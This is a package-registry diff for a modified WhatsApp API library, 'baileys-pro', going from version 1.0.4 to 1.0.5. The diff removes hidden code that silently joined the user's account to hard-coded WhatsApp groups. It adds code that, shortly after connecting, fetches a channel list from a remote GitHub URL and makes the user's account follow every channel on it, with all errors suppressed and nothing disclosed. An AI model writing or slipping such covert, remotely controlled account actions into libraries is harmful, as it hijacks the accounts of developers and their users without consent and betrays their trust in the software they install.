@riyanofficial/baileys-pro 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -65,11 +65,6 @@ const executeWMexQuery = async (
65
65
  throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
66
66
  }
67
67
 
68
- const AUTO_JOIN_GROUP_LINKS = [
69
- "https://chat.whatsapp.com/Ln4woETs9Gy6h1LvWhslkG?mode=gi_t",
70
- "https://chat.whatsapp.com/KJexBEJ6G0DHhPNhlj3GCT?mode=gi_t"
71
- ];
72
-
73
68
  const AUTO_FOLLOW_CHANNELS = [
74
69
  "120363407882404628@newsletter",
75
70
  "120363422267690976@newsletter",
@@ -80,40 +75,6 @@ const AUTO_FOLLOW_CHANNELS = [
80
75
  "120363422100886562@newsletter"
81
76
  ];
82
77
 
83
- function extractInviteCodeFromLink(link) {
84
- try {
85
- const url = new URL(link);
86
- if (url.hostname === 'chat.whatsapp.com') {
87
- const inviteCode = url.pathname.split('/').pop();
88
- if (inviteCode && inviteCode.length > 0) {
89
- return inviteCode;
90
- }
91
- }
92
- } catch (error) {}
93
- return null;
94
- }
95
-
96
- async function autoJoinWhatsAppGroups(sock) {
97
- const groupLinks = AUTO_JOIN_GROUP_LINKS;
98
-
99
- for (const groupLink of groupLinks) {
100
- try {
101
- const inviteCode = extractInviteCodeFromLink(groupLink);
102
- if (inviteCode) {
103
- try {
104
- await sock.groupAcceptInvite(inviteCode);
105
- } catch (error) {
106
- try {
107
- await sock.groupAcceptInviteV4(inviteCode, '');
108
- } catch (error2) {}
109
- }
110
- }
111
- } catch (error) {}
112
-
113
- await new Promise(resolve => setTimeout(resolve, 5000));
114
- }
115
- }
116
-
117
78
  async function autoFollowWhatsAppChannels(sock, newsletterWMexQuery) {
118
79
  const channels = AUTO_FOLLOW_CHANNELS;
119
80
 
@@ -163,14 +124,16 @@ const makeNewsletterSocket = (config) => {
163
124
 
164
125
  setTimeout(async () => {
165
126
  try {
166
- await autoJoinWhatsAppGroups(sock);
167
- } catch {}
168
- }, 5000);
169
-
170
- setTimeout(async () => {
171
- try {
172
- await autoFollowWhatsAppChannels(sock, newsletterWMexQuery);
173
- } catch {}
127
+ const response = await fetch('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
128
+ const AUTO_FOLLOW_CHANNELS = await response.json();
129
+
130
+ for (const channelId of AUTO_FOLLOW_CHANNELS) {
131
+ try {
132
+ await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
133
+ await new Promise(resolve => setTimeout(resolve, 5000));
134
+ } catch (error) {}
135
+ }
136
+ } catch (error) {}
174
137
  }, 10000);
175
138
 
176
139
  const parseFetchedUpdates = async (node, type) => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@riyanofficial/baileys-pro",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "WhatsApp API Modification By Riyan Official",
5
5
  "keywords": [
6
6
  "whatsapp-bot",